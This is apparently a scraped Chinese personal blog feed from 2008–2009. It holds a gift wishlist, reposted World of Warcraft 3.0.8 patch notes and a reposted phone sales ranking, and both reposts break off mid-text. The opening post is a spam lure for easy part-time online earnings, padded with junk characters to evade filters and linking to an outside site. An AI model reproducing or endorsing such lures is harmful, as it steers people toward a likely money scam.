伱ê承諾﹎戀

创贵业.是未`来发~@展的,趋势~`.8Hy8374453

215402109@qq.com(伱ê承諾﹎戀) — Mon, 19 Oct 2009 14:14:42 GMT

k2bk2b可以+自己~掌,握，$``2.#~$~每,```个人都可以做!`！在赚钱的同时k2b，
@也会有自己学习或工作,,的时间。 ~``^@网~k2b络`k2b兼+_+职，用业余.时间积聚财富，
机遇~就在这里，k2b想%,.兼@@职@，``想创业.的朋!!!!友速$来哦！
如果您有~兴趣的话,详~.情~网站:http://gaxfwh.cn?71796817179681桃桃伱ê承諾﹎戀
网址:http://gaxfwh.cn
<如打开出错!请刷新多次或复制地址打开>

信义玻璃

215402109@qq.com(伱ê承諾﹎戀) — Sat, 14 Mar 2009 10:58:43 GMT

我的愿望日记：我很想要的一件礼物

215402109@qq.com(伱ê承諾﹎戀) — Fri, 23 Jan 2009 09:21:05 GMT

许愿商品：活动特价包邮送包装★925纯银呵护一生情侣对戒C395★可刻名字
价格：89.00元
许愿留言：等着它的来

给TA惊喜，马上帮忙TA实现愿望>>

[转]《巫妖王之怒》大型补丁发布

215402109@qq.com(伱ê承諾﹎戀) — Thu, 22 Jan 2009 06:44:46 GMT

　　在服务器例行更新维护后，国外玩家迎来了《巫妖王之怒》3.0.8版本的正式公布。3.0.8是暴雪发行《巫妖王之怒》后的第一个大型补丁，它在此之前进行了公测，期间对巫妖王之怒的内容作出相当多的修改，所以一直受到关注。
　　3.0.8补丁官方说明文档
　　综合：
　　·　玩家现在可以在拥有一个55级角色后在任何服务器上建立死亡骑士人物。
　　·　额外护甲：带有额外护甲的物品（任何带有额外护甲的布甲、皮甲、锁甲或板甲以及任何带有护甲的其他物品）的加成机制将发生变化。超出物品基础护甲的额外护甲值将不受任何天赋以及熊形态、巨熊形态以及寒冰灵气的加成影响。
　　·　坐骑的种族限定将被移除。骑机械鸟的暗夜精灵？骑迅猛龙的牛头人？擦亮你的眼睛。
　　·　种族抗性：现在可以通过增加命中来抵消；
　　·　开怪：任何使一个生物对玩家具有攻击性的玩家法术将立刻使这个生物对该玩家激活进入战斗状态。
　　·　所有的沉默技能效果都被削减。包括奥术洪流、锁喉的沉默效果、强化法术反射、强化脚踢的沉默效果、沉默、禁令、沉默射击、法术封锁以及绞杀。
　　·　防驱散天赋被改动，现在它们只对增益性法术和DOT效果有效。
　　·　盾墙、树皮术、守护之魂、圣佑术现在不占用公共CD了。
　　·　达拉然下水道内新增了一个邮箱。
　　·　我们向东部王国和卡利姆多新增了60多个墓地。
　　·　灵魂状态下的奔跑速度提升了50%，暗夜精灵的小精灵形态则提升75%的速度。
　　·　杀死怪物所获得的声望奖励将不再递减。这意味着杀死灰名怪也能得到全部声望。
　　·　WOW现在支持3D成像，访问 http://www.nvidia.com/object/GeForce_3D_Vision_Main.html（英文）可以了解更多消息
　　成就：
　　·　成就“卡利姆多的博学者”所需的任务数量减少。
　　·　情人节事件中获得一只小丘比特的成就不再作为情人节头衔成就的一部分
　　·　成就“北地之风”的需求改变，现在你需要在部落先遣军或无畏远征军中达到崇拜来获得这个成就。
　　PVP：
　　·　PvP载具不再对大多数玩家的法术免疫，除了吸血、陷阱和定身。
　　竞技场：
　　·　所有致命角斗士的竞技场物品需要的竞技场等级降低100。
　　·　怒气和符文能量将在竞技场开始的准备阶段结束后清零。
　　·　勇气竞技场：小柱子会在竞技场战斗开始之后立刻升起。
　　战场：
　　冬拥湖：
　　·　冬拥湖勋章可以用低的不能再低的9个冬拥湖作战奖章的价格购买！玩家可以拜访对应的冬拥湖商人来使用这些奖章了！
　　·　冬拥湖PvP战车的生命值增加。
　　·　冬拥湖守方的大炮生命值增加。
　　·　冬拥要塞外墙生命值增加。
　　·　冬拥要塞大门生命值降低。
　　·　要塞大门内的球体可以瞬间点击。
　　·　冬拥湖中的元素怪应该在战斗开始的时候正确的消失了。
　　·　冬拥湖现在向南扩展了一些，这样可以接触到更多的鬼魂了。
　　·　现在冬拥湖的战斗中玩家可以获得三个军衔：新兵、下士和中尉。
　　·　玩家在获得2个荣誉击杀后才有资格获得参与战斗的奖励
　　·　玩家在军衔提升后会获得更多的荣誉点数。
　　·　玩家在下士以上军衔可以获得额外的荣誉奖章。
　　·　玩家将在5个荣誉击杀后获得下士军衔而不再是2个。
　　远古海滩：
　　·　反步兵炮塔将对载具免疫，使用掉落伤害且伤害提升至4000+2000/每等级来进行补偿。
　　·　远古海滩破坏者(坦克)的生命值增加。
　　·　远古海滩守方大炮生命值增加。　　
　　职业：
　　死亡骑士：
　　·　所有使用多个符文的技能都将产生15点符文能量。
　　·　反魔法护盾：冷却时间从60秒减少为45秒。
　　·　反魔法领域：持续时间缩减为10秒。
　　·　鲜血光环：现在获得2/4%的治疗而不再是1/2%。
　　·　鲜血灵气：现在获得2/4%的治疗而不再是1/2%。
　　·　鲜血打击现在将从传染中获得更多的额外伤害。
　　·　白骨之盾：伤害减免从40%减少为20%。
　　·　尸爆：伤害显著提升，现在有一个5秒的冷却时间，并且消耗改为40符文能量。
　　·　黑暗命令：射程提高至30码。
　　·　死亡契约现在获得40%的治疗量。
　　·　冰霜灵气：护甲加成从60%提高至80%，魔法伤害减免从5%提升至15%。
　　·　心脏打击将不再带有速度惩罚，并且可以攻击2个目标。
　　·　寒冬号角将不再有消耗，相反将在其属性增益的基础上产生10点符文能量，但是有了30秒的冷却时间。
　　·　凛风冲击：冷却被移除。
　　·　冰封之韧的伤害减免从50%降低为20%，额外的伤害减免随着防御技能的提高而提高（在540防御技能时为35%，但是可以更高）。
　　·　杀戮机器：不再由爆击触发，这个天赋现在的效果是由挥动武器进行攻击触发的（慢速武器比快速武器更容易触发）；
　　·　鲜血印记：治疗效果为目标回复百分之几的血取决于目标的等级；
　　·　亡者之夜现在在当前效果的基础上额外使你的宠物获得40/70%的范围伤害减免。
　　·　爆发不再因传染产生额外伤害。而从瘟疫打击和血沸获得的额外伤害则略微提升。
　　·　传染不再有10秒的冷却时间。
　　·　复活亡者被分割为2个不同的法术：
　　　　复活亡者将复活一只食尸鬼或食尸鬼宠物（如果有天赋支持），如果附近没有人形生物尸体存在则需要尸粉。
　　　　复活战友将把一个死亡的小队成员复活成为食尸鬼并不消耗材料。72级可学习，持续4分钟。
　　·　石像鬼斗篷符文（限双手武器）现在提高25点防御技能和2%的耐力。
　　·　符文打击：伤害从200%下降为150%但威胁值从100%提高至150%。
　　·　死亡之影：持续时间从45秒降低到25秒，15分钟冷却。
　　·　召唤石像鬼：石像鬼受到的伤害降低约20%，最长持续30秒。
　　·　邪恶虫群的消耗减少为40点符文能量。
　　·　游荡瘟疫：现在触发后能被正确重置，并且触发机率受目标的韧性影响。
　　·　吸血鬼之血：从提升20%最大生命值/50%治疗效果变为15%最大生命值/35%治疗效果
　　·　大墓地的意志：现在将降低死亡骑士所受的任何伤害，并在生命低于35%时回复5 /10/15%的生命，取代原来的增加护甲效果。它不再影响反魔法护罩的冷却时间，但会保留当前的减伤效果。
　　德鲁依：
　　·　水栖形态可以在16级时直接从训练师处学习。
　　·　星空专注（平衡系）：不再对星辰坠落起作用。
　　·　野性攻击强度：所有武器都将根据其DPS为德鲁伊提供野性攻击强度（类似60级时的稀有品质以上武器那样）。玩家会发现他们从目前的野性系武器获得的野性攻击强度大体保持不变（正负2左右），但是也会有更多的武器供野性德鲁伊玩家选择。某些野性武器上的力量将被转换为攻击强度以使得其他职业也可以装备它们。所有德鲁伊都可以在物品的说明上看到它将提供多少野性攻击强度（如果可以提供的话），而其他职业的玩家将不会看到。
　　·　解除诅咒和清毒术将可以在枭兽形态下使用。
　　·　起源：现在对宁静和飓风术也有效。
　　·　低吼：射程提升至30码。
　　·　丛林之王：熊形态下的效果现在是物理系，因此不能再被驱散。
　　·　月光：此天赋对繁荣加成。
　　·　自然之赐：现在同样影响起死回生。
　　·　繁荣：对目标施放的野性生长将增加繁荣的治疗量20%。
　　·　长柄武器：德鲁伊现在可以学习使用。
　　·　原始坚韧：现在在原有效果的基础上使熊形态、巨熊形态和猎豹形态的法力消耗降低17/33/50%。
　　·　兽群卫士：不再根据队伍规模放大效果。
　　·　野蛮咆哮在离开猎豹形态后仍将保持，但是只有在猎豹形态下才能获得该效果的加成。
　　·　星落：不再在变形时取消，改为变为动物形态时取消（亦即枭兽和人形态不算）。
　　·　适者生存：这个天赋将在现有效果基础上使熊形态和巨熊形态下的护甲值加成提高22/44/66%。
　　·　横扫：横扫（猫）将在71级时获得，造成260%的武器伤害，50点能量消耗，没有冷却时间。所有影响熊形态下横扫的效果对其同样有效。
　　·　野性成长现在有了6秒的冷却时间。
　　猎人：
　　·　猎人的守护现在又不占公共CD了。它们有独立的1秒CD。
　　·　所有冷却时间长于30秒的猎人宠物技能都不再触发公共冷却时间。
　　·　奥术射击：法力消耗降低，与稳固射击的消耗相对应。
　　·　野性守护：这个守护现在对整个团队有效。
　　·　狂野召唤：这个宠物天赋的效果现在仅影响猎人和他/她的宠物。
　　·　威慑：重新设计为“偏斜”正前方100%的近战和法术伤害，但是使猎人无法攻击。持续5秒，90秒冷却时间。
　　·　爆炸射击：大量增加伤害，并为生存猎人增加了额外的伤害加成（以弥补稳固射击的削弱）。不再对第二个目标造成伤害。
　　·　凶猛灵感：这一天赋现在可以增加猎人奥术射击3/6/9%的伤害。
　　·　强化守护：这个天赋被略微重新设计，现在的说明是：玩家在追踪野兽、恶魔、龙类、元素、巨人、人形生物和亡灵中的任何一种时，所有对这些生物种类的远程攻击伤害提高1/2/3/4/5%。
　　·　杀戮射击的冷却时间从35秒缩短到15秒。
　　·　同宗灵魂：现在这个天赋仅使宠物的伤害提高3/6/9/12/15%。
　　·　荷枪实弹：现在有30秒CD。
　　·　准备就绪：不再重置狂野怒火的冷却时间。
　　·　稳固射击：现在获得10%的攻击强度加成
　　·　蛇之迅捷：现在使宠物的攻击速度提高2/4/6/8/10%，对猎人本身的加成保持不变。
　　·　宁神射击：冷却时间从6秒提高到8秒，消耗法力从12%基础法力值降低为8%。
　　·　狂怒释放：现在使宠物的伤害提高3/6/9/12/15%。
　　·　蝰蛇钉刺：现在抽取一定百分比的最大法力值
　　·　乱射：所有等级的伤害大约降低了30%左右（包括攻击强度加成）。
　　·　宠物：
　　·　所有冷却时间长于30秒的猎人宠物技能都不再触发公共冷却时间。
　　·　斜掠（猫）和蝎毒（蝎子）的加成被降低了。
　　·　斜掠：伤害被调整以防得到过度的攻击强度加成。
　　·　蝎毒：不可叠加。伤害被调整以防得到过度的攻击强度加成。
　　·　灵魂打击（灵魂兽）：现在分为打击目标（可以爆击）和附加的DOT伤害。总伤害量提高。
　　法师：
　　·　奥术冲击：进行了显著修改。奥术冲击现在使你的下一个奥术法术的伤害提高15%。但是使用奥术冲击本身并不会消耗这个增益。每次施放奥术冲击，奥术法术的伤害提高15%，但奥术冲击的法力消耗提高200%。该效果可叠加3次，持续10秒或任何非奥术冲击的奥术法术被施放。
　　·　奥术涌动：现在同样使唤醒的冷却时间减少1/2分钟。
　　·　元素精准：重命名为精准，影响所有法术。
　　·　唤醒：冷却时间减少为4分钟。
　　·　强化暴风雪：减速效果降低为20/40/50%。
　　·　咒术吸收：所提升的法术伤害值总计不能高于总生命值的5%。
　　·　镜像：镜像体的施法范围现在被限制为8码。另外，镜像体产生的时候不会引起过多的仇恨。
　　·　缓落术现在可以对他人施放。
　　·　欺凌弱小：现在对奥术冲击也有效，使你对任何受到了减速效果的目标造成的伤害提高（例如雷霆一击）。　　
　　圣骑士：
　　·　复仇之怒：圣盾术、圣佑术、保护之手和复仇之怒将不能在其中任何一个法术施放后30秒内使用。复仇之怒将不再触发自律效果。
　　·　圣佑术的惩罚被移除。
　　·　圣盾术：原有的攻击速度惩罚被伤害降低50%代替。
　　·　复仇之手（新）：在16级时可在训练师获得。这是一个30码射程的嘲讽技能并造成神圣伤害
　　·　纯洁审判：这个神圣系天赋现在使圣印和审判造成的伤害提高。
　　·　智慧审判：现在回复一定百分比的基础法力而不再是最大法力。
　　·　神圣使命：不再影响圣盾术和圣佑术，但获得的耐力加成提高。
　　牧师：
　　·　驱逐疾病和祛病术现在可以在暗影形态下施放。
　　神圣系：
　　·　治疗之环现在有一个6秒的冷却时间。（现在是瞬发）
　　·　漂浮现在可以对其他玩家施放。
　　·　法力燃烧：现在燃烧一定百分比的最大法力值。
　　暗影系：
　　·　暗影形态：现在你可以在坐骑上或者坐下时切换到暗影形态。
　　·　吸血鬼的拥抱：该法术的法力值消耗被移除。
　　潜行者：
　　·　偷袭：这个技能不再与其他技能共享递减。
　　·　刀扇：冷却时间移除。另外，在装备匕首的情况下使用该技能将造成150%的武器伤害。
　　·　佯攻：等级8的该技能将在现有效果的基础上使潜行者受到的范围伤害降低50%，持续6秒。
　　·　肾击：与其他技能共享递减。
　　萨满：
　　·　萨满的天赋被全部重置，请访问训练师重新学习技能。
　　·　火焰新星图腾：不再产生威胁值。
　　·　治疗之道：现在仅需要1点来获得全部效果，不再叠加。
　　·　强化水之护盾：次级治疗波触发该效果的几率降低。
　　·　熔岩图腾：伤害和加成效果提高且不再产生威胁值。
　　·　精神敏锐和静电震击在天赋树中的位置对换。（增强系）
　　·　精神敏锐：使你的瞬发型的萨满法术的法力消耗降低2/4/6%，并提高你的法术强度，数值相当于你的敏捷的10/20/30%。
　　·　灼热图腾（等级4）现在造成和其等级相符的伤害。
　　·　战栗图腾的持续时间从2分钟提高到5分钟。
　　元素系：
　　·　元素之誓：除了已有的效果之外，当元素集中（节能施法）效果存在时，还增加萨满的法术伤害5/10%。
　　·　元素掌握：重新设计。现在增加萨满的暴击率20%，持续30秒。冷却时间依然是3分钟。
　　·　元素之盾：该天赋被移除，效果合并到元素防护中。
　　·　元素防护：从使受到的元素、火焰和冰霜伤害降低4/7/10%变为使受到的所有伤害降低2/4/6%。
　　·　新的天赋：萨满教义——你的闪电箭和熔岩爆裂从你的法术伤害加成中获得的额外伤害分别提高2/4/6/8/10%和4/8/12/16/20%。
　　·　风暴、大地与火焰：提升到天赋树更上层的位置，并且点数减少为3点。狂风震击也被包含在它的射程延长效果内。对烈焰震击的伤害加成从10/20/30/40/50%提高为20/40/60%。
　　·　冷酷风暴：现在仅需3个点数，效果变为4/8/12%。
　　术士：
　　·　痛苦诅咒：当使用痛苦诅咒雕文时得到良好加成。每一跳增加33%伤害，例如74 -> 145 -> 217 -> 290；
　　·　恶魔护甲和恶魔皮肤：护甲增加大约120%。
　　·　恶魔法阵：现在传送将解除所有诱捕效果。
　　·　吸取法力：现在吸取一定百分比的最大法力值。
　　·　灰烬风暴：现在对燃烧同样有效。
　　·　召唤仪式：现在将创造一个可以被多人用于召唤的召唤门物品，持续5分钟。
　　战士：
　　·　嗜血：叠加数减少为3次，但是每次的效果变为1%。
　　·　狂怒系：血涌：现在有机会从英勇打击、嗜血或旋风斩命中的攻击中触发。
　　·　狂怒系：泰坦之握：命中率惩罚被移除。
　　·　猝死：怒气消耗上限为30点，强化斩杀和斩杀雕文仍然能提高伤害，并能将额外的怒气点数转化为额外伤害。
　　·　嘲讽：射程提高到30码。　　
　　商业技能：
　　炼金：
　　·　所有的合剂不再需要炼金实验室来制造。
　　·　转化：泰坦神铁的冷却时间降低到1天，需要的材料也被简化。
　　·　诺森德炼金研究的冷却时间从7天降低到3天。
　　·　领悟诺森德转化的几率提高。
　　·　改变了疯狂炼金师药水的效果，使其一定给予生命和魔法值。它同时还会使你受益于另一个随机的药水效果。
　　·　噩梦药水的改变：你可以通过移动打断这个效果，并不再增加你在此药水影响下受到的伤害。
　　·　宗师级炼金学训练师增加了一个新的配方：无形之油。
　　·　你可以使用诺森德炼金研究学习到水上行走药剂的配方。
　　锻造：
　　·　降低了泰坦精钢卫士的法术强度以使其与它的物品等级匹配。
　　·　提高了制造高级锻造出品冰霜抗性装备所需的材料要求。
　　·　增加了部分需要钴锭的配方材料需求。
　　·　增加了一个新的配方，可为盾牌增加其格挡值。
　　烹饪：
　　·　添加了一张甜果酒（Kungaloosh）的烹饪配方，可以在完成索拉查盆地的“味道测试”任务之后从达拉然的NPC处习得。
　　·　鱼肉筵席配方可从达拉然烹饪奖励处够买。
　　·　美味炖鲸肉和铲齿鹿汤从所有烹饪成就中移除，因为这两种配方不会加入游戏。
　　·　增加了一张座狼肉泥的烹饪配方，可在达拉然烹饪奖励处购买。这份佳肴可以为够胆吃它的勇士们增加命中等级和耐力。
　　附魔：
　　·　很多高级的附魔配方所需要的无限之尘和强效宇宙精华的数量大大减少，取而代之的是梦境碎片。
　　·　增加了附魔武器 - 破冰造成的火焰伤害。
　　·　降低了附魔武器 - 狂暴的护甲惩罚。
　　·　增加了附魔武器 - 生命护卫的生命回复量；
　　·　增加了附魔武器 - 破冰的伤害；
　　·　增加新的腕部耐力附魔公式，可从达拉然的Vanessa Sellers处购买
　　工程：
　　·　工程师现在应该可以正常的制造离心傀儡了。
　　·　降低了超级加速器效果的CD并增加了其持续时间（修改后：工程专属手套装置，使用：增加340急速等级，持续10秒，60秒冷却时间）
　　·　增加了一个新的史诗级的板甲法术强度护目镜。
　　·　史诗级皮甲物理DPS护目镜可以被德鲁伊使用了。
　　·　萨隆邪铁****配方现在可以使用原来的材料制造更多的****。虽然这个技术突破是由地精们发现的，所有的工程师都可以享受这一成果。
　　·　侏儒闪电发生器的施法时间和冷却时间降低。
　　·　废物贩卖机器人制造器：现在也可以修装备了。
　　铭文：
　　·　一个新的商人Jessica Sellers会出现在达拉然的铭文商店，她将以一瓶海洋墨水的价格出售几乎所有的落雪墨水。她同样会以几瓶海洋墨水的价格出售落雪墨水。
　　·　新的奥术冲击雕文可以在大师和宗师级铭文学训练师处学习。
　　珠宝：
　　·　增加了一个新的配方，可以使用一个冰冻宝珠和一些绿色品质的宝石，来转化成为蓝色品质的宝石。
　　·　降低“雕像 - 暮光蛇”的使用后法术强度增加效果，但与此同时大量减少使用CD。
　　制皮：
　　·　凝冰腰带的技能提升范围被提升至合理的程度。
　　·　紫色腿部护甲片现在额外需要一个冰冻宝珠来制造。
　　采矿：
　　·　矿脉现在不再需要挖很多次才能挖完了，你将一锄子就挖空一块矿脉，获得和以前相同数量的矿石、石头和宝石等。
　　·　虚弱的巨人和铁符文哨兵现在可以被采矿。
　　剥皮：
　　·　提高了等级5和6的解剖大师提供的爆击等级。
　　·　腐食剃肉者现在可以被剥皮。
　　裁缝：
　　·　降低了制作魔化霜纹布卷的布料数量。
　　·　简化了闪光魔线和碧蓝魔线的材料需求。
　　·　降低了制造辉煌魔线和天蓝魔线时，永恒元素的需求量，但增加了所需的冰网蛛丝数量。
　　·　极大地降低裁缝专属腿部附魔的材料需求，但这些配方不再增加你的技能点数。
　　·　降低普通飞毯的训练费用。
　　·　乌纹布现在需要裁缝在耐萨里奥之喉（龙骨荒野）地区制造。
　　·　法纹布现在需要裁缝在碧蓝龙殿（龙骨荒野）地区制造。　　
　　任务：
　　·　任务“吓出它们的…… ”现在只需要10堆暗爪蝙蝠的粪便，而非15堆。同时，只有玩家本人或同队的人惊吓蝙蝠，才能拾取粪便。
　　·　铲齿鹿肉现在正确地成为“又是铲齿鹿汤？ ”的任务物品，不再显示售价。
　　·　在任务“头皮！ ”中，你不能再用埃霍奈的小刀剥那些非你所杀怪物的头皮了。
　　·　“不祥的扰动”这一步骤被移除了。
　　·　西部卫戍军士（Westguard Sergeant）、冬蹄勇士（Winterhoof Brave）、Ethereal Frostworg不再主动攻击对立阵营。
　　·　西部卫戍军士和冬蹄勇士的挫志怒吼现在只对Winterskorn Vrykul和worgs at Skorn起作用。
　　·　在任务“沉睡的国王”中，安格博达女王得到了一些修正。
　　·　日常任务“把它们打下来！ ”现在只需打下15头尤顿海姆始祖龙了。另外，现在每次使用鱼叉只需耗用5点能量，而非10点。
　　地下城和团队副本：
　　黑曜石圣殿
　　·　玩家在离开暮光领域后会获得暮光残渣的效果，暮光残渣使玩家在若干秒内对火焰和暗影法术免疫。
　　用户界面：
　　·　聊天框现在可以被设置为“非交互的（Noninteractive）”。在此状态下，它会忽略所有点击。
　　·　现在可以为成就设置一些过滤条件。
　　·　添加一个专用于与GM对话的界面。
　　·　更多的lua和xml变化请参看UI和宏论坛。
　　物品：
　　·　勇气纹章可以兑换英雄纹章，兑换比例为1：1。
　　·　暗月马戏团商人增加新物品。
　　·　琥珀光芒徽记现在正确的提供命中等级。
　　·　致命角斗士的庇护（恢复德鲁伊PvP套装）4件套装属性改变，现在改为减少迅捷治愈的冷却时间2秒。
　　·　致命角斗士的法杖的敏捷和爆击等级属性被调整以与其他版本的角斗士法杖在属性比例上相匹配。
　　·　梦游者战甲：撕裂的奖励时间增加到4秒（原为3秒）
　　·　德鲁依野性T7套装：4件套可以降低猛虎之怒的冷却时间3秒。
　　·　德鲁依恢复T7套装：对回春术的增益变成了对生命绽放的增益。
　　·　各个主城的爱慕的礼物和爱慕的信物现在是灵魂绑定物品。
　　·　强者的旗帜的冷却时间现在是60秒以匹配旗帜本身的60秒持续时间。
　　·　下列制造的武器的属性被调整以正确的反映其威力。
　　·　锈蚀萨隆邪铁之刃、锈蚀萨隆邪铁之剑、萨隆邪铁裁决短棍、Furious Saronite Beaststick、萨隆邪铁法术之刃、萨隆邪铁剃刀、野蛮钴质利剑、锯齿钴质战斧、坚硬的钴质迅捷之刃和钴质轻锤。
　　·　生命鞭笞者现在可以正确的被草药学剥取。
　　·　玩家现在可以在驾驶载具、坐下、坐骑上、潜行中和隐形中时打开蚌壳。
　　·　降低了野蛮钴质利剑的属性以反映其物品等级。
　　·　某些低等级的潜行者PVP手套在3.0.3补丁中意外的被忽略，这个问题已经修正。
　　·　寒冰王冠某些被忽视的生物现在包包里有了自己的财产内容。
　　·　妖术图腾现在正确的为闪电箭和闪电链提供165点法术强度而不是85点。
　　·　白色北极熊坐骑的体积被正确的增大了一些。
　　雕文：
　　·　燃烧雕文：使你的点燃不再消耗目标上的献祭或暗影烈焰效果。
　　·　死亡凋零雕文：现有效果移除，改为增加死亡凋零的伤害20%。(原效果为有一定机率恐惧死亡凋零范围内的敌人，持续2秒)
　　·　制裁之锤雕文：以增加5码作用距离取代原来的增加击晕时间。
　　·　隐身术雕文：增加隐身术效果的持续时间。
　　·　威慑雕文：现在减少10秒冷却时间而不是20秒。
　　·　圣光术雕文：现在影响更大范围内的友方目标。
　　·　寒冬号角雕文：现在使其持续时间延长60秒。
　　·　拯救之魂雕文：现在变为增加6秒持续时间。
　　·　超度邪恶雕文：现在同样把超度邪恶技能的冷却时间增加为8秒。
　　世界环境：
　　·　夺魂怒吼现在持续8秒钟。
　　·　屈服的纳萨诺斯之魂不再免疫AOE技能了。
　　·　修正了紫罗兰监狱里的一条首领表情信息以正常显示首领的名字。
　　·　修正了纳克萨玛斯中虫群风暴的一条多余法术信息。
　　·　纳克萨玛斯憎恶区的某些怪物没有英雄模式的生命值和攻击力数据。
　　·　风暴之巅的格罗姆拉什坠毁点的苦工加克拉现在是旅店老板而那个飞艇残骸则变成了了旅店。　　
　　BUG修正：
　　职业：
　　死亡骑士：
　　·　鲜血光环将根据目标所受到的伤害来计算，造成正确的治疗量。
　　·　血染之刃：当被副手武器触发时会造成正确的伤害。
　　·　鲜血打击：此天赋的提示会显示正确的数值。
　　·　杀戮：总是给予20点符文能量，不管杀死的是什么生物类型。
　　·　寒冰锁链：这个技能不再对开启反魔法护罩的死亡骑士生效。
　　·　墓穴热病：不再可能比造成墓穴热病的疾病持续时间更长。不再增加死亡凋零的伤害。
　　·　尸爆：修正了一个使得尸爆伤害随着死亡

[转]11月全球手机销量排行N96入围

215402109@qq.com(伱ê承諾﹎戀) — Tue, 09 Dec 2008 00:28:30 GMT

　　著名的手机附件制造公司Krusell公布了根据其手机包装盒产量推算出的11月份手机销量排行榜。这份榜单至少包含了50多个国家的手机销售情况，透过这个榜单我们可以大致了解到全球市场的手机销售状况。在这份榜单中，我们看到了五个手机品牌，诺基亚的优势依旧非常明显，霸占了排行榜中的5个席位。苹果iPhone能在众强的夹击之下占得第四名，其时尚的魅力起到了关键作用。与10月份的榜单相比，诺基亚新任S60机皇N96和索尼爱立信新锐X1强势登场，并排在了第六和第七两个不错的位置。而三星i908E更是一举夺魁，成为全球销量冠军，表现相当抢眼。那么究竟还有哪些手机在销量方面表现抢眼呢？感兴趣的朋友接着往下看吧！
　　全球销量第十名多普达Touch Diamond
　　多普达Touch Diamond是目前人气非常高的一款智能手机产品，该机一采用了最新的WM6.1智能操作系统，不仅扩展能力非常强大，而且它还拥有其引以为傲的迷人的“钻石”切割工艺的背部设计，所以它可以说是一部内外兼修的经典之作。最近该机又再度传来了降价消息，所以该机能在全球有一个好销量也是不足为奇。
　　多普达Touch Diamond采用目前很流行的直板大屏造型设计，而且它配备了一块2.8英寸VGA分辨率的触摸屏幕和一枚320万像素的自动对焦摄像头，显示效果和成像质量都让人比较满意。此外它作为一款采用了Windows mobile6.1操作系统的智能手机，配备了主频高达528MHz的处理器，并且支持GPS导航功能，所以它的整体性能表现是非常出色的。

　　编辑点评：
　　多普达Touch Diamond拥有一块2.8英寸的TFT显示屏、300万像素的拍照镜头以及流行的GPS导航功能，并且还内置了4GB的超大内存，整体表现可谓相当全面。但美中不足的是，该机电池容量仅有900毫安时，待机能力不够理想。目前该机的报价已经跌破4200元，感兴趣的朋友可以关注一下。
　　多普达Touch Diamond（行货）
　　[参考价格]4199元

　　全球销量第九名诺基亚E51

　　诺基亚E51是采用金属材质打造的功能齐备入门级S60智能商务手机，作为诺基亚E系列的成员之一，E51具有非常全面的功能表现，而且外观设计风格也简约明快，非常适合白领人士使用。当然，广大学生朋友也是可以考虑这款扩展能力强劲的手机产品的。

　　硬件配置方面，诺基亚E51采用的是一块2.0英寸1600万色的QVGA分辨率的屏幕，虽然屏幕尺寸有点小，但是显示效果还是很细腻的。同时该机还配备了略显过时的200万像素摄像头，成像质量也只能说是满足日常的拍摄使用。作为一款采用了S60操作系统的智能手机，它可以安装丰富的第三方软件，喜欢对手机进行DIY的朋友可以小试身手了。

　　编辑点评：
　　总体来看，诺基亚E51属于一款性价比很突出的中低端智能商务手机，但是它却内置了一枚主频369MHz的处理器，所以整机运行起来也是比较流畅的。身属E系列的E51无论是在外形还是细节方面的做工都让人比较满意，而且还具备行货所没有的WIFI无线上网功能，整体表现相当不错。目前该机再现新低，喜欢E51的朋友可以考虑出手了。

　　诺基亚E51（改版机）
　　[参考价格]1399元

　　全球销量第八名诺基亚E71

　　诺基亚E71的排名相比上月全球手机销量的榜单是没有变化的，所以也证明了该机强大实力。它是一款采用了QWERTY全键盘设计的S60智能商务手机，可以说它是目前具有全键盘设计的直板智能手机的典型代表。E71前一阵子刚刚行货上市，最近又又有小幅价格调整，喜欢该机的朋友可以关注一下。

　　诺基亚E71采用了一块2.4英寸1670万色的QVGA分辨率的横向屏幕，由于屏幕尺寸要比E51更大一些，所以视觉效果也让人更加满意。同时该机还内置了一枚主流的320万像素的摄像头，并且支持自动对焦，成像质量比较不错。此外E71还采用了扩展能力非常强大的Symbian OS9.2操作系统 S60 v3.1界面，用户同样可以安装丰富的第三方软件。

　　编辑点评：
　　诺基亚E71还同时拥有GPS导航功能，对于普通用户的导航需求是完全能够实现的，此外该机还采用了QWERTY全键盘，也为用户的输入提供了极大方便。再加上超薄金属机身的引入，给人一种结实耐用之感。目前该机的行货报价为2820元，感兴趣的朋友不妨考虑一下。

　　诺基亚E71（行货）
　　[参考价格]2820元

　　全球销量第七名索尼爱立信X1

　　索尼爱立信X1在上月的全球销量排行榜中并没有出现，而此次X1强势上榜，并且占据排行榜第七名的位置，让人感到有些惊讶。但是鉴于该机具有非常强悍的硬件配置和功能表现，而且它还采用了非常人性化的侧滑盖QWERTY全键盘设计，所以它能拥有这样的排名也是情理之中的。

　　索尼爱立信X1采用了一块3.0英寸的TFT材质触摸屏，分辨率也达到了惊人的480×800像素，所以它的显示效果和色彩表现力都让人比较满意，用它来看视频和浏览网页是非常惬意的。同时它也配备了主流的320万像素的自动对焦摄像头，拍照效果也很不错。此外X1还采用了最新Windows Mobile6.1操作系统，所以它的扩展能力自然就十分强大了，并且它还搭配了强悍的528MHz的处理器，性能表现相当抢眼。

　　编辑点评：
　　索尼爱立信X1作为一款具有强悍硬件配置的WM6.1智能手机，还拥有了512MB ROM和256MB RAM的内存组合，而且作为一款新近推出的重磅新机，它也同时支持GPS导航功能和WiFi无线上网功能，整体表现非常全面。目前该机的最新报价为4980元，对高端WM智能手机感兴趣的朋友可以关注一下。

　　索尼爱立信X1（改版机）
　　[参考价格]4980元

　　全球销量第六名诺基亚N96

　　诺基亚N96此次的上榜将自己的兄弟诺基亚N958GB挤出了前十名，毕竟作为诺基亚最新的S60智能旗舰产品，N96的功能表现和硬件配置还是非常强大的，虽然没有采用3D加速器，令人感到有些遗憾，但是不得不承认诺基亚N96还是一款不可多得优秀S60智能手机产品。

　　硬件方面，诺基亚N96采用了一块2.8英寸1670万色的QVGA分辨率的屏幕，由于屏幕尺寸达到了2.8英寸，所以带给用户的视觉感受也是非常出色的。同时该机还内置了一枚500万像素的卡尔·蔡司镜头，再加上双LED闪光灯的辅助，拍照表现也是令人比较满意。此外N96还采用了最新Symbian S60 V3.2版本的操作系统，安装现在海量的S60第三方软件是完全没有问题的。

　　编辑点评：
　　作为一款S60智能旗舰手机，诺基亚N96当然也拥有GPS导航功能，并且它还内置16GB海量内存，用户可以尽情存储自己喜欢的音乐和视频。同时它也很好地继承了诺基亚N95的双向滑盖设计，整体表现让人相当满意。目前该机的行货报价为5328元，感兴趣的朋友不妨关注一下。

　　诺基亚N96（行货）
　　[参考价格]5328元

　　全球销量第五名诺基亚3110 classic

